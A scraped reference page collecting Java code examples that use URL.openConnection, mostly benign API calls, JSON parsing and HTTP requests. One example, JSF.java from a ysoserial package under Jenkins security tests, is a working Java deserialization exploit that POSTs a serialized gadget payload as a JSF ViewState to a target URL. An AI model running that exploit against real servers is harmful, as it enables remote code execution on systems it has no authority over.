Example usage for java.net URL openConnection

List of usage examples for java.net URL openConnection

Introduction

In this page you can find the example usage for java.net URL openConnection.

Prototype

public URLConnection openConnection() throws java.io.IOException 

Source Link

Document

Returns a java.net.URLConnection URLConnection instance that represents a connection to the remote object referred to by the URL .

Usage

From source file:MainClass.java

public static void main(String[] args) {
    URL u;
    URLConnection uc;/*from ww w .j  av  a 2s .co  m*/
    try {
        u = new URL("http://www.java2s.com");
        try {
            uc = u.openConnection();
            if (uc.getUseCaches()) {
                uc.setUseCaches(false);
            }
        } catch (IOException e) {
            System.err.println(e);
        }
    } catch (MalformedURLException e) {
        System.err.println(e);
    }

}

From source file:MainClass.java

public static void main(String args[]) {

    URL u;
    URLConnection uc;/*from w  w w  .j a v  a 2 s.  co m*/

    try {
        u = new URL("http://www.java2s.com/");
        try {
            uc = u.openConnection();
            System.out.println(uc.getURL());
        } catch (IOException e) {
            System.err.println(e);
        }
    } catch (MalformedURLException e) {
        System.err.println(e);
    }

}

From source file:MainClass.java

public static void main(String args[]) {
    URL u;
    URLConnection uc;/*from www  .j  a  va  2  s . c  o  m*/
    String header;

    try {
        u = new URL("http://www.java2s.com");
        uc = u.openConnection();
        for (int j = 1;; j++) {
            header = uc.getHeaderField(j);
            if (header == null)
                break;
            System.out.println(uc.getHeaderFieldKey(j) + " " + header);
        }
    } catch (MalformedURLException e) {
        System.err.println("not a URL I understand.");
    } catch (IOException e) {
        System.err.println(e);
    }
}

From source file:Reverse.java

public static void main(String[] args) throws Exception {

    if (args.length != 1) {
        System.err.println("Usage:  java Reverse " + "string_to_reverse");
        System.exit(1);//from  ww w  .j a  v a  2s.  co  m
    }

    String stringToReverse = URLEncoder.encode(args[0]);

    URL url = new URL("http://java.sun.com/cgi-bin/backwards");
    URLConnection connection = url.openConnection();
    connection.setDoOutput(true);

    PrintWriter out = new PrintWriter(connection.getOutputStream());
    out.println("string=" + stringToReverse);
    out.close();

    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String inputLine;

    while ((inputLine = in.readLine()) != null)
        System.out.println(inputLine);

    in.close();
}

From source file:com.tbs.devcorner.simple.App.java

public static void main(String[] args) {
    try {//from w w w .  ja  va 2  s.  c o m
        // Build Connection
        URL api_url = new URL("http://www.earthquakescanada.nrcan.gc.ca/api/earthquakes/");
        URLConnection api = api_url.openConnection();

        // Set HTTP Headers
        api.setRequestProperty("Accept", "application/json");
        api.setRequestProperty("Accept-Language", "en");

        // Get Response
        JSONTokener tokener = new JSONTokener(api.getInputStream());
        JSONObject jsondata = new JSONObject(tokener);

        // Display API name
        System.out.println(jsondata.getJSONObject("metadata").getJSONObject("request").getJSONObject("name")
                .get("en").toString());

        // Iterate over latest links
        JSONObject latest = jsondata.getJSONObject("latest");
        for (Object item : latest.keySet()) {
            System.out.println(item.toString() + " -> " + latest.get(item.toString()));
        }

    } catch (MalformedURLException e) {
        System.out.println("Malformed URL");
    } catch (IOException e) {
        System.out.println("IO Error");
    }
}

From source file:com.tbs.devcorner.simple.App.java

public static void main(String[] args) {
    try {/*from  ww w. j  av  a 2  s  .com*/
        // Crer la connexion
        URL api_url = new URL("http://www.earthquakescanada.nrcan.gc.ca/api/earthquakes/");
        URLConnection api = api_url.openConnection();

        // Dfinir les en-ttes HTTP
        api.setRequestProperty("Accept", "application/json");
        api.setRequestProperty("Accept-Language", "fr");

        // Obtenir la rponse
        JSONTokener tokener = new JSONTokener(api.getInputStream());
        JSONObject jsondata = new JSONObject(tokener);

        // Afficher le nom de lAPI
        System.out.println(jsondata.getJSONObject("metadata").getJSONObject("request").getJSONObject("name")
                .get("fr").toString());

        // Rpter lopration sur les liens les plus rcents
        JSONObject latest = jsondata.getJSONObject("latest");
        for (Object item : latest.keySet()) {
            System.out.println(item.toString() + " -> " + latest.get(item.toString()));
        }

    } catch (MalformedURLException e) {
        System.out.println("URL mal forme");
    } catch (IOException e) {
        System.out.println("Erreur dE/S");
    }
}

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);//from  w ww .  ja va2 s . c  o  m
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

From source file:com.cloudera.earthquake.GetData.java

public static void main(String[] args) throws IOException {
    URL url = new URL("http://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/all_month.csv");
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.connect();// ww  w .  j a  va 2 s.c o  m
    InputStream connStream = conn.getInputStream();

    FileSystem hdfs = FileSystem.get(new Configuration());
    FSDataOutputStream outStream = hdfs.create(new Path(args[0], "month.txt"));
    IOUtils.copy(connStream, outStream);

    outStream.close();
    connStream.close();
    conn.disconnect();
}

From source file:org.wso2.charon3.samples.group.sample01.CreateGroupSample.java

public static void main(String[] args) {
    try {/*  w w  w  .ja  v a2s  . c o m*/
        String url = "http://localhost:8080/scim/v2/Groups";
        URL obj = new URL(url);
        HttpURLConnection con = (HttpURLConnection) obj.openConnection();

        // Setting basic post request
        con.setRequestMethod("POST");
        con.setRequestProperty("Content-Type", "application/scim+json");

        // Send post request
        con.setDoOutput(true);
        DataOutputStream wr = new DataOutputStream(con.getOutputStream());
        wr.writeBytes(createRequestBody);
        wr.flush();
        wr.close();

        int responseCode = con.getResponseCode();

        BufferedReader in;
        if (responseCode == HttpURLConnection.HTTP_CREATED) { // success
            in = new BufferedReader(new InputStreamReader(con.getInputStream()));
        } else {
            in = new BufferedReader(new InputStreamReader(con.getErrorStream()));
        }
        String inputLine;
        StringBuffer response = new StringBuffer();

        while ((inputLine = in.readLine()) != null) {
            response.append(inputLine);
        }
        in.close();

        //printing result from response
        System.out.println("Response Code : " + responseCode);
        System.out.println("Response Message : " + con.getResponseMessage());
        System.out.println("Response Content : " + response.toString());

    } catch (ProtocolException e) {
        e.printStackTrace();
    } catch (MalformedURLException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
}

From source file:com.util.finalProy.java

/**
 * @param args the command line arguments
 *///from   ww  w. j  av a 2  s .c  om
public static void main(String[] args) throws JSONException {
    // TODO code application logic her
    System.out.println("OBTENER SOLO UN ARRAY DE CADENA JSON");
    String myURL = "http://192.168.5.44/app_dev.php/cus/getaccount/50241109321.json";
    System.out.println("Requested URL:" + myURL);
    StringBuilder sb = new StringBuilder();
    URLConnection urlConn = null;
    InputStreamReader in = null;
    try {
        URL url = new URL(myURL);
        urlConn = url.openConnection();
        if (urlConn != null) {
            urlConn.setReadTimeout(60 * 1000);
        }
        if (urlConn != null && urlConn.getInputStream() != null) {
            in = new InputStreamReader(urlConn.getInputStream(), Charset.defaultCharset());

            BufferedReader bufferedReader = new BufferedReader(in);
            if (bufferedReader != null) {
                int cp;
                while ((cp = bufferedReader.read()) != -1) {
                    sb.append((char) cp);
                }
                bufferedReader.close();
            }
        }
        in.close();
    } catch (Exception e) {
        e.printStackTrace();
        throw new RuntimeException("Exception while calling URL:" + myURL, e);
    }
    String jsonResult = sb.toString();
    System.out.println(sb.toString());
    System.out.println(
            "\n\n--------------------OBTENEMOS OBJETO JSON NATIVO DE LA PAGINA, USAMOS EL ARRAY DATA---------------------------\n\n");
    JSONObject objJason = new JSONObject(jsonResult);
    JSONArray dataJson = new JSONArray();
    dataJson = objJason.getJSONArray("data");

    System.out.println("objeto normal 1 " + dataJson.toString());
    //
    //
    System.out.println(
            "\n\n--------------------CREAMOS UN STRING JSON2 REEMPLAZANDO LOS CORCHETES QUE DAN ERROR---------------------------\n\n");
    String jsonString2 = dataJson.toString();
    String temp = dataJson.toString();
    temp = jsonString2.replace("[", "");
    jsonString2 = temp.replace("]", "");
    System.out.println("new json string" + jsonString2);

    JSONObject objJson2 = new JSONObject(jsonString2);
    System.out.println("el objeto simple json es " + objJson2.toString());

    System.out.println(
            "\n\n--------------------CREAMOS UN OBJETO JSON CON EL ARRAR ACCOUN---------------------------\n\n");

    String account1 = objJson2.optString("account");
    System.out.println(account1);
    JSONObject objJson3 = new JSONObject(account1);
    System.out.println("el ULTIMO OBJETO SIMPLE ES  " + objJson3.toString());
    System.out.println(
            "\n\n--------------------EMPEZAMOS A RECIBIR LOS PARAMETROS QUE HAY EN EL OBJETO JSON---------------------------\n\n");
    String firstName = objJson3.getString("first_name");
    System.out.println(firstName);
    System.out.println(objJson3.get("id"));
    System.out.println(
            "\n\n--------------------TRATAMOS DE PASAR TODO EL ACCOUNT A OBJETO JAVA---------------------------\n\n");
    Gson gson = new Gson();
    Account account = gson.fromJson(objJson3.toString(), Account.class);
    System.out.println(account.getFirst_name());
    System.out.println(account.getCreation());
}